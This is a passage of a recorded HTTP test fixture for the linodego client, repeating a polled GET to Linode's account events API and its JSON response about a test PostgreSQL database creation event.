Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, 